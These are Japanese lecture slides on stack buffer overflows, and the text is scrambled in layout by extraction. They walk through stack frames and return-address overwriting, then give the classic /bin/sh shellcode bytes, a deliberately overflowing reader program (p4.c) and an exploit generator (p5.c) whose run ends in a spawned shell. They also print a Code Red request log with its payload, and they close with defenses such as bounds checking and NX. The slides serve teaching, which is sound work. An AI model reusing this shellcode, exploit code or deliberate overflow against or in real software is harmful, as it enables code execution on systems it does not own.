4 Byte buf[0] バッファオーバーフロー ESP buf[1] buf[2] テキスト領域 データ領域 EBP RET Address 1 スタック領域 メモリマップ (データ部) 2 1.スタックの様子をチェックする (p1.c) int test(int a, int b, int c) { int buf[3]; buf[0] buf[1] buf[2] return 3 2.他の関数を実行する (p2.c) void sub_proc() { printf("Hell World!!¥n"); exit(1); スタックマップ } = a; = b; = c; 2; } int main() { test(1, 2, 3); } void test_proc() { int buf[1]; buf[2] = (int)((void*)sub_proc); } % gcc p1.c -c; objdump -d p1.o int main() { test_proc(); } 00000000 0: 55 1: 89 3: 83 6: 8b 9: 89 c: 8b f: 89 12: 8b 15: 89 18: b8 1d: c9 1e: c3 1f: 90 <test>: 00000020 20: 55 21: 89 23: 83 26: 83 29: b8 2e: 29 30: 83 33: 6a 35: 6a 37: 6a 39: e8 3e: 83 41: c9 42: c3 <main>: e5 ec 45 45 45 45 45 45 02 e5 ec e4 00 c4 ec 03 02 01 fc c4 18 08 e8 0c ec 10 f0 00 push mov sub mov mov mov mov mov mov 00 00 leave ret nop push mov 08 sub f0 and 00 00 00 sub 04 sub push push push ff ff ff 10 add leave ret %ebp %esp,%ebp $0x18,%esp 0x8(%ebp),%eax %eax,0xffffffe8(%ebp) 0xc(%ebp),%eax %eax,0xffffffec(%ebp) 0x10(%ebp),%eax %eax,0xfffffff0(%ebp) mov $0x2,%eax 00000020 <test_proc>: 20: 55 push %ebp 21: 89 e5 mov %esp,%ebp 23: 83 ec 04 sub $0x4,%esp 26: c7 45 04 00 00 00 00 movl $0x0,0x4(%ebp) 2d: c9 leave 2e: c3 ret 4 Byte buf[0] %ebp %esp,%ebp $0x8,%esp $0xfffffff0,%esp mov $0x0,%eax %eax,%esp $0x4,%esp $0x3 $0x2 $0x1 call 3a <main+0x1a> $0x10,%esp ESP EBP (buf[1]) RET Address (buf[2]) スタックマップ main関数へのリターンアドレスが書き換えられる. % gcc p2.c -o p2 % ./p2 Hell World!! 3.シェルの起動の例 (p3.c) int main() { char *com[2]; com[0] = "/bin/sh"; com[1] = 0x0; execve(com[0], com, 0x0); } このプログラムはライブラリを呼び出している ので,あまり一般的ではない.より一般的なシェ ル呼び出しの(有名な)マシンコードは 0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0, 0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b, 0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c, 0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f, 0x62,0x69,0x6e,0x2f,0x73,0x68,0x00 となる(アセンブラによって作る) . 4.プログラムのデータ部の先頭アドレスを調べる (p4.c) 64 バイトのメモリを確保.もしデータファイルがあれ ば,そこに 8 0 バイトのデータ読み込む(1 6 バイトオー バー) . 最後にメモリの先頭アドレスと状態を128バイト分表示し てリターン. #include <stdio.h> #include <string.h> #define BUFSZ 64 % p4 bffff870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 memset(buf, 0, BUFSZ); fp = fopen("dat", "r"); if (fp!=NULL){ printf("%08x¥n", buf); for(i=0; i<128; i++) { printf("%02x ", buf[i]); if (i%8==7) printf("¥n"); } } 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 68 a9 15 40 a0 44 01 40 24 f9 ff bf f8 f8 ff bf 1f 9c 03 40 01 00 00 00 24 f9 ff bf 2c f9 ff bf 44 49 01 40 データ部(buf)の先頭アドレスは 0xbffff870 00000000 <stack>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 53 push %ebx 4: 83 ec 54 sub $0x54,%esp 4 Byte 0xbffff870 buf[0]∼ buf[3] buf[4]∼ buf[7] .............. buf[60]∼ buf[63] 84Byte for (i=0; i<80; i++) buf[i] = (unsigned char)fgetc(fp); } 00 00 00 00 00 00 00 00 24 f9 ff bf 68 a9 15 40 d8 f8 ff bf 28 85 04 08 FILE* fp; int i; void stack(int a, int b, int c) { unsigned char buf[BUFSZ]; 00 00 00 00 00 00 00 00 EBX 本来なら 64Byte で足りるが,前後 に作 業用 領域 を 確保している EBP RET Address 1 2 3 スタックマップ int main() { stack(1, 2, 3); } 5.バッファオーバーフローを起こすための データを出力するプログラム (p5.c) p5 でデータを作成して,p4 に読み込ませると, データ部へのジャンプアドレスを指定してプロ グラムを作成 起動する. p4はバッファーオーバフローを起こしてシェルが % ./p4 bffff870 #include <stdio.h> #include <string.h> eb 18 5e 89 76 08 31 c0 シェル起動コード 88 46 07 89 46 0c b0 0b #define BUFSZ 128 89 f3 8d 4e 08 8d 56 0c unsigned char buf[BUFSZ]; unsigned int ret = 0xbffff870; int mem = 76; // リターンアドレスまでのバイト数 //int mem = 68; cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 68 58 58 58 58 58 58 58 58 58 58 int main() { int i; static char shell[] = { 0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0, 0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b, 0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c, 0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f, 0x62,0x69,0x6e,0x2f,0x73,0x68,0x00 }; 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 0x58 は’X’ 58 58 58 58 58 58 58 58 58 58 58 58 70 f8 ff bf 先頭アドレス 01 00 00 00 02 00 00 00 アドレス以降は読み込 03 00 00 00 68 a9 15 40 まれない(80Byte まで) a0 44 01 40 24 f9 ff bf f8 f8 ff bf 1f 9c 03 40 01 00 00 00 24 f9 ff bf memset(buf, 'X', BUFSZ); strncpy(buf, shell, strlen(shell)); 2c f9 ff bf 44 49 01 40 sh-2.05$ buf[mem] = buf[mem+1] = buf[mem+2] = buf[mem+3] = buf[BUFSZ-1] ret & 0xff; (ret>>8) & 0xff; (ret>>16) & 0xff; (ret>>24) & 0xff; = '¥0'; for (i=0; i<BUFSZ; i++) printf("%c", buf[i]); } つまり,バッファーオーバフローを起こさせる には,そのプログラムのデータ部のアドレス (ジャンプさせるアドレス)が必要.クラッカーが % ./p5 > dat 捜し求めるのは,このアドレス.ただし,再配置 % od -tx1 dat 0000000 0000020 0000040 0000060 0000100 0000120 * 0000160 eb 89 62 58 58 58 18 f3 69 58 58 58 5e 8d 6e 58 58 58 可能なプログラムでは,通常このアドレスは作動 89 4e 2f 58 58 58 76 08 73 58 58 58 08 31 c0 88 46 07 8d 56 0c cd 80 e8 68 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 89 e3 58 58 58 58 46 ff 58 58 70 58 0c ff 58 58 f8 58 b0 ff 58 58 ff 58 0b 2f 58 58 bf 58 条件により変化する. 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 参考: 「ハッカープログラミング大全」 UNYUN, DATA HOUSE 6.実際のバッファオーバーフロー (CODE Red) 219.9.186.80 - - [25/May/2003:04:20:24 +0900] レジスタに格納されている!! そこで.. .. . "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 5. 例外ハンドラへのアドレスとして 0x7801cbd3 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX へ制御を飛ばすことができれば,Windows のこ XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX の部分のプログラムを実行できる. XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801 6.0x7801cbd3 には EBX レジスタが示すアドレ %u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3 スを実行しなさいと言う命令が書いてある.こ %u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 281 "-" " れはWindowsが用意してあるサービスルーチン (Windows さんよ,有難う!!) ウィルス本体はこの後に送られてくる. 7.これで,バッファーオーバーフローを起こし た近辺のバイナリコードを実行できてしまう. プログラム部分の逆アセンブラ 00fbf0e8 90 nop 00fbf0e9 90 nop 00fbf0ea 58 pop eax 00fbf0eb 68d3cb0178 push 0x7801cbd3 00fbf0f0 90 nop 7. バッファオーバーフローの防止 7-1. for プログラマ C 言語などでは,メモリのスタック(auto 変数) を使用する場合は常にメモリサイズをチェックす る(昔からこれでもかと言うくらい言われ続けて いるが,それでも一向に,いつまで経っても無く ならない ...) . Java の場合は一般プログラマが出来る(するべ き)ことはない.ただし,Java もコアは他の言語 で書かれているので,システム自体にバグがある かもしれない. 00fbf0f1 90 nop 00fbf0f2 90 nop 00fbf0f3 90 nop 00fbf0f4 90 nop 00fbf0f5 81c300030000 00fbf0fb 8b1b mov ebx, [ebx] add ebx, 0x300 00fbf0fd 53 push ebx 00fbf0fe ff5378 call near [ebx+0x78] 1.Windowsではリターンアドレスが変更された場 合などは,自動的に例外ハンドラに制御が移る (通常は「ページ違反が起こりました」などの 表示) .この例外ハンドラはプログラマが指定 可能である. 2.例外ハンドラのプログラムへのアドレスは, リターンアドレス付近に書かれることが多い. 3.例外が起こったアドレスが特定できれば, バッファーオーバーフローにより例外ハンドラ へのアドレスを書き換えて,バッファーオー バーフローを起こしたアドレス付近へジャンプ することができる.これにより,任意のプログ ラムを実行できるが,このアドレスは毎回変化 する. 4.ただし,この例外の起こったアドレスは EBX 7-2. for CPU, OS 最近のIntelのCPUは「No Execute(NX) memory protection」機能を搭載している.これはメモリ 内のプログラム領域とデータ部分を識別し,デー タ領域のコードを実行しないようにするものであ る.この機能を有効にするには,OS もこれに対応 している必要がある.今度の Windows Vista は 対応している(らしい). ただし,この機能を使用するとプログラムの柔 軟性は失われる.
© Copyright 2024 Paperzz